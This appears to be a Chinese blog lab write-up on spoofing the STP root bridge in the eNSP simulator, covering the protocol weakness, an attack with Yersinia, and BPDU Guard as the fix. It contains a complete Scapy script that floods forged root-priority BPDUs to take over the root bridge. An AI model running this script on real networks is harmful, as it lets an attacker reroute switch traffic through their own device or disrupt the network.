ensp进行STP根桥攻击实验

目录

漏洞原理:

使用yersinia进行攻击

使用python脚本进行攻击

加固方法及其实验效果


漏洞原理:

STP(Spanning Tree Protocol,生成树协议)是用于在网络中防止环路的一种协议。它通过选择一个根桥(Root Bridge),然后基于这个根桥来构建无环的网络拓扑结构。所有交换机都会参与到选举根桥的过程中,并且根据一定的规则选出最优的根桥。

STP根桥攻击是一种针对STP机制的安全威胁,攻击者可以通过伪造具有更优BPDU(Bridge Protocol Data Unit)信息的数据包来尝试改变现有的根桥。BPDU中包含了诸如桥ID、根路径成本等信息,其中桥ID由优先级和MAC地址组成。在STP算法中,桥ID数值越小的交换机会被选为根桥。

攻击原理:
篡改BPDU信息:攻击者可能向网络发送精心构造的BPDU数据包,这些数据包携带了比当前根桥更低的桥ID值。如果网络中的其他交换机接收到了这样的BPDU,并认为它来自一个新的更好的根桥,则会重新计算生成树,并可能导致将攻击者的设备或受控设备误认为新的根桥。

使用yersinia进行攻击

拓扑图如下

cloud配置如下

原来的根桥是sw3

使用yersinia攻击

打开yersinia

点击local attack

看到如下就是已经在攻击了

回去看一下sw3和sw4的根桥,发现根桥的距离是cloud

实验成功。

使用python脚本进行攻击

脚本(注意根桥mac地址不要使用那种不常规的):

from scapy.all import *

# 定义网络接口
interface = "eth0"

# 构造以太网帧
eth = Ether(dst="01:80:C2:00:00:00", src="4C:1F:CC:9B:4E:0F")  # 使用Yersinia的源MAC地址

# 构造LLC层
llc = LLC(dsap=0x42, ssap=0x42, ctrl=0x03)

# 构造STP层
# 使用Yersinia的参数
stp = STP(
    proto=0,          # 协议类型
    version=0,        # 版本号
    bpdutype=0,       # BPDU类型
    bpduflags=0,      # BPDU标志
    rootid=0,  # 根桥ID
    rootmac="4C:1F:CC:9B:4E:0F",  # 根桥MAC地址
    pathcost=0,       # 路径成本
    bridgeid=0,  # 桥ID
    bridgemac="4C:1F:CC:9B:4E:0F",  # 桥MAC地址
    portid=0,         # 端口ID
    age=1,            # 消息年龄
    maxage=20,        # 最大老化时间
    hellotime=2,      # Hello时间
    fwddelay=15       # 转发延迟时间
)

# 组装整个数据包
packet = eth / llc / stp

for i in range(10000):
    sendp(packet, iface=interface)
    i+=1

运行脚本

可以看到已经抢到根桥了

实验成功

加固方法及其实验效果

启用BPDU保护(BPDU Guard):
BPDU Guard是一种功能,当在一个端口上检测到BPDU时,该端口就会被自动关闭。这样可以防止非法设备成为根桥。

进入接口视图,配置边缘接口并打开bpdu保护

开启之后我们进行攻击

发现接口自动断掉了

实验成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值